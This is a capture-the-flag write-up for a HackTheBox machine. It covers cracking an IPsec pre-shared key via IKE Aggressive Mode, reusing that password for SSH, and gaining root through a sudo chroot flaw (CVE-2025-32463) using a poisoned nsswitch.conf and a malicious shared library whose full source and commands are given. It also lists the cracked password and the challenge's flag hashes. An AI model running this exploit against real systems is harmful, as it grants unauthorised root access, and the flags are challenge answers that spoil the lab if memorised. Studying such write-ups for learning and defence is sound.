$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: HackTheBox medium machine with IPsec VPN (strongSwan) on UDP/500 and SSH. Solution: Extract PSK hash via IKE Aggressive Mode, crack it, reuse password for SSH access, then exploit CVE-2025-32463 (sudo 1.9.17 chroot LPE via nsswitch.conf poisoning) for root.
HackTheBox medium difficulty machine. Debian server with IPsec VPN (strongSwan) on UDP/500 and SSH on TCP/22. Initial access via PSK hash extraction from IKE Aggressive Mode and dictionary cracking, then password reuse for SSH. Privilege escalation through CVE-2025-32463 — a vulnerability in sudo 1.9.17 that allows loading an arbitrary shared library as root via nsswitch.conf substitution in a user-controlled chroot.
Nmap discovered only 2 TCP ports:
Key finding — UDP port 500 (IKE/ISAKMP):
nmap -sU -p 500 10.129.4.240 # 500/udp open isakmp
Probing the VPN service with ike-scan:
ike-scan 10.129.4.240
Result — IKEv1 Main Mode handshake with parameters:
Weak parameters (3DES + SHA1 + DH Group 2) and PSK authentication — classic vector for Aggressive Mode attack.
IKEv1 Aggressive Mode transmits the PSK hash in cleartext (unlike Main Mode where identity is protected):
ike-scan --aggressive --id=vpn --pskcrack=ike_hash.txt 10.129.4.240
Server responded with Aggressive Mode handshake and revealed its identity:
[email protected] (ID_USER_FQDN)ike_hash.txtpsk-crack -d rockyou.txt ike_hash.txt
PSK: freakingrockstarontheroad
From IKE identity [email protected] extracted username ike. VPN PSK reused as SSH password:
sshpass -p 'freakingrockstarontheroad' ssh [email protected]
Successful login as ike (uid=1001, groups: ike, proxy).
cat /home/ike/user.txt # d92ebe2ef753a2414aff0ba42be769c6
Key findings on the server:
| Finding | Details | Result |
|---|---|---|
/usr/local/bin/sudo | SUID, Sudo 1.9.17 | VULNERABLE — CVE-2025-32463 |
/usr/sbin/exim4 | SUID, Exim 4.98.2 | Rabbit hole — drops privileges to Debian-exim |
/usr/sbin/in.tftpd | TFTP → /srv/tftp/ciscortr.cfg | Informational — Cisco VPN config with PSK |
| strongSwan/charon | Running as root | VPN service, config in /etc/ipsec.conf |
| sudo privileges | may not run sudo on expressway | No sudo rules for ike |
Vulnerability: Sudo 1.9.17 allows an unprivileged user to use the -R flag (chroot) to specify an arbitrary root directory. When resolving paths, sudo performs chroot() to the specified directory and loads /etc/nsswitch.conf from there. If nsswitch.conf points to a malicious NSS library — it gets loaded as root.
Vulnerability check:
/usr/local/bin/sudo -R woot woot # Vulnerable version: "sudo: woot: No such file or directory" # Fixed version: "you are not permitted to use the -R option"
Exploitation:
# Create working directory cd $(mktemp -d) # Create fake chroot structure mkdir -p woot/etc libnss_ # Create poisoned nsswitch.conf — points to our NSS library echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc # Write malicious shared library cat > w.c <<'EOF' #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void w(void){ setreuid(0,0); setregid(0,0); chdir("/"); system("id; cat /root/root.txt"); } EOF # Compile as shared library gcc -shared -fPIC -Wl,-init,w -o libnss_/woot1337.so.2 w.c # Run sudo with our chroot — library gets loaded as root /usr/local/bin/sudo -R woot woot
Result:
uid=0(root) gid=0(root) groups=0(root)
40efbdd162e3511d06a2dea9ee002ea0
User: d92ebe2ef753a2414aff0ba42be769c6
Root: 40efbdd162e3511d06a2dea9ee002ea0
Port 53/tcp — looked like a DNS service in nmap, but connections established without data transfer ("Network is down"). Not a real DNS.
Exim 4.98.2 SUID (/usr/sbin/exim4) — SUID binary, but Exim immediately drops privileges to Debian-exim. The -be mode (expansion) runs as the calling user (euid=1001). CVE-2025-30232 (-dp UAF) didn't work — the -dp flag is not recognized in this build.
TFTP Cisco config (ciscortr.cfg) — contained VPN configuration and passwords (secret-password), but the information is not applicable for privilege escalation.
Use this technique when:
user@domain may reveal usernames for SSH/usr/local/bin/sudo) — custom installation, check versionsudo -R accepted without "not permitted" error — confirms vulnerability$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar